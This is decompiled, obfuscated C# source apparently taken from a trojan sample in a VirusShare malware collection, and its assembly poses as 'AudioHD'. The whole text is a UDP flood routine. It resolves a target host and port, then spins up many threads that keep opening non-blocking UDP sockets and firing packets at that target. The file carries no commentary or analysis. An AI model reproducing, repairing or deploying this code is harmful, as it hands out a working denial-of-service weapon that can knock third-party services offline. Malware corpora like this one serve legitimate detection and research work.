// Decompiled with JetBrains decompiler // Type: . // Assembly: AudioHD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: A79492AA-5FAA-4ED2-ACC6-3D90AD665D99 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024.exe using \u000F; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; namespace \u000F { internal sealed class \u0007 { private static ThreadStart[] \u0001; private static Thread[] \u0001; public static string \u0001; private static IPEndPoint \u0001; public static ushort \u0001; public static int \u0001; private static \u0007.\u0001[] \u0001; public static int \u0002; public static int \u0003; public static bool \u0001 = false; public static void \u000F() { try { \u0007.\u0001 = new IPEndPoint(Dns.GetHostEntry(\u0007.\u0001).AddressList[0], (int) \u0007.\u0001); } catch { \u0007.\u0001 = new IPEndPoint(IPAddress.Parse(\u0007.\u0001), (int) \u0007.\u0001); } \u0007.\u0001 = new Thread[\u0007.\u0002]; \u0007.\u0001 = new ThreadStart[\u0007.\u0002]; \u0007.\u0001 = new \u0007.\u0001[\u0007.\u0002]; for (int index = 0; index < \u0007.\u0002; ++index) { \u0007.\u0001[index] = new \u0007.\u0001(\u0007.\u0001, \u0007.\u0003, \u0007.\u0001); \u0007.\u0001[index] = new ThreadStart(\u0007.\u0001[index].\u000F); \u0007.\u0001[index] = new Thread(\u0007.\u0001[index]); \u0007.\u0001[index].Start(); } \u0007.\u0001 = true; } public static void \u0010() { for (int index = 0; index < \u0007.\u0002; ++index) { try { \u0007.\u0001[index].Abort(); \u0007.\u0001[index].Join(); } catch { \u0007.\u0001 = false; } } \u0007.\u0001 = false; } private sealed class \u0001 { private IPEndPoint \u0001; private int \u0001; private Socket[] \u0001; private int \u0002; public \u0001([In] IPEndPoint obj0, [In] int obj1, [In] int obj2) { this.\u0001 = obj0; this.\u0002 = obj1; this.\u0001 = obj2; } public void \u000F() { while (true) { byte[] buffer = new byte[this.\u0001]; try { this.\u0001 = new Socket[this.\u0002]; for (int index = 0; index < this.\u0002; ++index) { this.\u0001[index] = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp); this.\u0001[index].Blocking = false; this.\u0001[index].SendTo(buffer, (EndPoint) this.\u0001); } Thread.Sleep(100); for (int index = 0; index < this.\u0002; ++index) { if (this.\u0001[index].Connected) this.\u0001[index].Disconnect(false); this.\u0001[index].Close(); this.\u0001[index] = (Socket) null; } this.\u0001 = (Socket[]) null; } catch { for (int index = 0; index < this.\u0002; ++index) { try { if (this.\u0001[index].Connected) this.\u0001[index].Disconnect(false); this.\u0001[index].Close(); this.\u0001[index] = (Socket) null; } catch { } } } } } } } }